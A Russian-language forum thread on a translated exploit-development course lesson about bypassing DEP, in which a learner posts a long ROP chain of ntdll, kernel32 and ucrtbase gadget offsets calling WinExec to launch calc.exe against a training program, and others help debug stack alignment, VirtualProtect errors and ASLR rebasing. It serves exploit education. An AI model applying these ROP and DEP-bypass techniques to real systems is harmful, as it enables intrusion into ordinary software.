    Когда VirtualProtect, выполнится прыжок на POP # RET gadget соответствующий EBP на схеме выше и удалит все аргументы из стека. Сейчас ESP указывает на DWROD в стеке соответствующий EAX. POP # RET gadget наконец-то выполнился так, что инструкция POP инкрементировала ESP и RET выполнил jmp на call esp gadget который вызывает шелл-код (который уже может выполняться).

    Теперь вы уже наверняка заметили, что я предпочитаю следующие выражения:
    Code:
    baseAddress + RVA
    Причина проста: из-за ASLR адреса меняются, но RVA остается константой.

    Что бы попробовать выполнить код на вашем компьютере, вам просто надо обновить базовые адреса. Когда мы имеем дело с ASLR, написание адресов таким путем становится полезным.

    © Translated by klaus (r0 Crew)
    Do not follow the ancient masters, seek what they sought. (c) Matsuo Bashō

  2. 7 пользователя(ей) сказали cпасибо:
    Dark Koder (29-06-2015) Darwin (28-06-2015) _42 (28-06-2015) dukeBarman (28-06-2015) dummok (20-07-2017) nosos (29-06-2015) root (04-07-2015)
  3. #2

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    здравствуйте, прохожу этот курс и на этом этапе у меня возникли проблемы)
    первое отсутствие в системе msvcr120.dll (есть msvcr140.dll но что то мона в ней не нашла нужных гаджетов)
    второе отличаются офсеты на WinExec = kernel32 + 0x93231 и ExitThread = kernel32 + 0x179B0
    дальше я переписал роп цепь сам как смог))
    rop_chain = [
    ntdll + 0xD6996, # ADD ESP,24 # POP EBP # RETN вычеслено
    # cmd:
    "calc",
    ".exe",
    # cmd+8:
    0xffffffff, # zeroed out at runtime
    # cmd+0ch:
    WinExec,
    ExitThread,
    # cmd+14h:
    lpCmdLine, # arg1 of WinExec (computed at runtime)
    uCmdShow, # arg2 of WinExec
    ret_for_ExitThread, # not used
    dwExitCode, # arg1 of ExitThread
    # cmd+24h:
    for_ebp,
    for_ebp,
    ntdll + 0xa404e, #push esp # mov eax,edi # pop edi # pop esi # pop ebp # retn 4
    for_esi,
    for_ebp,
    # now edi = here
    # dec edi # retn
    #[ntdll + 0x00050717 for x in range(50)],
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    # dec edi # retn
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717, # dec edi # retn
    ntdll + 0x00050717,

    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717, # dec edi # retn
    ntdll + 0x00050717,
    ntdll + 0x00050717,

    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717, # dec edi # retn

    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717, # dec edi # retn
    ntdll + 0x00050717,
    ntdll + 0x00050717,

    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,

    # now edi = cmd+8
    ucrtbase + 0x12b82, # XCHG EAX,EDI # RETN
    ucrtbase + 0x3bc19, # inc dword ptr [eax] # RET записали 0 перед строкой
    ucrtbase + 0x12b82, # XCHG EAX,EDI # RETN вернули адрес в EDI

    ntdll + 0x00050717, # edi-8
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,
    ntdll + 0x00050717,

    kernel32 + 0x000b148c, # push edi # pop eax # pop ebp # retn 4 EAX = str *cmd
    for_ebp,

    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907,
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907,
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907, # INC EDI # RET
    ntdll + 0x00068907,
    ntdll + 0x00068907, # INC EDI # RET EDI = cmd
    ntdll + 0x00068907, # INC EDI # RET EDI = cmd

    #ntdll + 0x509a7, #mov eax,0f # setne al # retn eax = 1
    #ucrtbase + 0x11e18, # DEC EAX eax = 0 Обнуление пока не нужно

    kernel32 + 0x00022287, # mov dword ptr [edi],eax # pop edi # mov eax,esi # pop esi # pop ebp # retn 18h
    for_ebp,
    for_ebp,
    for_ebp,
    ntdll + 0xa404e, #push esp # mov eax,edi # pop edi # pop esi # pop ebp # retn 4
    for_retn,
    for_retn,
    for_retn,
    for_retn,
    for_retn,
    for_edi,
    for_esi,
    for_ebp,
    ntdll + 0x00058964, # sub edi,4 # sub edi,dword ptr [esp+8] # mov eax,edi # pop edi # retn 0ch | {PAGE_EXECUTE_READ} [ntdll.dll]
    for_edi,
    for_retn,
    ntdll + 0x0004b6ef, # xchg eax,ebx | {PAGE_EXECUTE_READ} [ntdll.dll]
    0x00000184,
    for_retn,
    for_retn,
    ntdll + 0x000340a4, # mov esp,ebx # pop ebx # retn 4 | {PAGE_EXECUTE_READ} [ntdll.dll]
    ]
    я перехожу в WinExec стек сформирован по схеме но калькулятор призвать не получается(

    отключены stack cookies, включен DEP, работает ASLR , ОС Windows 7
    выручайте что не так?

  4. #3
    Darwin's Avatar

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    я перехожу в WinExec стек сформирован по схеме но калькулятор призвать не получается(
    Стек не правильный. Нужно сдвинуть на 4 байта. Когда стоишь на первой инструкции в WinExec, указатель на строку, должен лежать по адресу (ESP+4) 17FAB8, а по адресу (ESP+0) 17FAB4 должен лежать адрес, на который пойдет управление, после завершения выполнения функции WinExec.
    Счастлив кто отдал, а не взял. (с) Inception

  5. Пользователь сказал cпасибо:
    dummok (20-07-2017)
  6. #4

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    все верно это происходит из за неправильной передачи управления в последней строке из за retn 4
    ntdll + 0x000d6a83, # mov esp,ebx # pop ebx # ret
    вот так все работает ^_^

    кстати моя цепочка издает какие то звуки(пик-пик-пик-...-пик) не могли бы вы объяснить почему?
    кажется это началось на этапе когда мне нужно было уменьшить регистр edi
    ntdll + 0x00050717, # dec edi # retn
    не смог найти годных "sub edi,*" мнемоник, поэтому использовал столько DEC и INC

    и еще что за магическое значение uCmdShow = 0x01010101 ?
    Last edited by dummok; 20-07-2017 at 21:10. Reason: еще вопрос

  7. #5
    Darwin's Avatar

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    и еще что за магическое значение uCmdShow = 0x01010101 ?
    Это SW_SHOW = 0x0101, вторая половина DWORD'а никак не учитывается, и нужна для того, чтобы не было нулевых байтов (насколько я понимаю).
    Счастлив кто отдал, а не взял. (с) Inception

  8. Пользователь сказал cпасибо:
    dummok (21-07-2017)
  9. #6

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    0x0101 это 257 в десятичной системе SW_SHOW вроде типа инт если это оно https://msdn.microsoft.com/ru-ru/lib...(v=vs.85).aspx
    просто чет лень смотреть как там оно обрабатывается, думал вы расскажете за волшебство)
    с SW_SHOW = 0х55555555 (21845) тоже отлично работает а вот с 0х99999999 (270F) даже процесса нет
    но это меня не так сильно волнует как то что на пароходе музыка играет
    есть какой то сигнальный байт при операции чтении записи или это так консоль работает?

  10. #7
    Darwin's Avatar

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    0x0101 это 257 в десятичной системе SW_SHOW вроде типа инт если это оно https://msdn.microsoft.com/ru-ru/lib...(v=vs.85).aspx
    Да, думал про одно, написал про другое. Первый байт учитывается только и тогда это SW_SHOWNORMAL 0x1.

    есть какой то сигнальный байт при операции чтении записи или это так консоль работает?
    Я на шеллкод не смотрел и не загружал его. Отладчик есть, трассируй и смотри, где чего пикает.
    Счастлив кто отдал, а не взял. (с) Inception

  11. #8

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    пытаюсь добить эту часть) строю цепь для VirtualProtect
    !py mona rop -m kernel32
    если мона не может найти все гаджеты для записи значений в регистры в простейшем виде по типу
    0x6cf8c658, # POP EBX # RETN [MSVCR120.dll]
    0x00000201, # 0x00000201-> ebx
    она может построить не правильную цепь (регистры заполненные нужным значением могут быть перезаписаны мусором + не верно вычислены ret)
    вот мой пример


    исправленная цепь



    вот так выглядит стек когда я захожу в VirtualProtect


    http://rgho.st/7rmSSHWn4

    вроде все так и должно быть, но память в стеке не стала исполняемой + в eax лежит 0
    если я правильно понимаю это возвращаемое значение функции и у меня проблема
    пишу в отладчике !teb
    LastErrorValue: 87
    LastStatusValue: c0000045
    объясните пожалуйста что пошло не так и на что мне нужно обратить свое внимание
    я трассирую VirtualProtect первый раз встречаю c0000045 в регистре eax после мнемоники call esi
    в esi лежит адрес ntdll!ZwProtectVirtualMemory
    Last edited by dummok; 09-09-2017 at 16:02. Reason: не отображается картинка под спойлером

  12. #9

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    если кто то будет мусолить эту тему так же долго да еще и с включенным ASLR как я, оставляю тебе функцию в помощь для пересчета цепи

    Code:
    def rop_chain(rop_gadgets):
        kernel32_old = 0x76580000
        i = 0
        for element in rop_gadgets:     
            if hex(element)[0:4]==hex(kernel32_old)[0:4]:
                rop_gadgets[i]=element-kernel32_old+kernel32
            print hex(rop_gadgets[i])
            i=i+1
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  13. #10

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    LastErrorValue: 87 - ERROR_INVALID_PARAMETER 87 (0x57) The parameter is incorrect. Неверный параметр.
    LastStatusValue: c0000045 - The specified page protection was not valid. Указанная защита страницы недействительна.
    разбираюсь сам и не понимаю почему после add esp,4 меня перебрасывает черт пойми куда и почему так происходит
    вот пару скриншотов
    http://rgho.st/7dmYxc8xy
    http://rgho.st/6P6YJX8zl

  14. #11

    Default Re: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    кажется дело в команде jmp 0033:74C7271E (не изменился сегмент cs)
    нашел такую статью http://blog.rewolf.pl/blog/?p=102
    That’s all magic behind switching x64 and x86 modes on 64-bits versions of Windows. Moreover it also works on non-WoW64 processes (standard native 64-bits applications), so 32-bits code can be run inside 64-bits applications. Summing things up, for every process (x86 & x64) running on 64-bits Windows there are allocated two code segments:

    cs = 0x23 -> x86 mode
    cs = 0x33 -> x64 mode
    происходит переключение в x64 мод поэтому дальше трассировка из под x86 отладчика не возможна
    я запустил windbg x64 и выяснил что передача управления переходит на wow64cpu!CpupReturnFromSimulatedCode
    циферок стало в два раза больше)))

+ Reply to Thread

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 22:42
vBulletin® Copyright ©2000 - 2017
www.reverse4you.org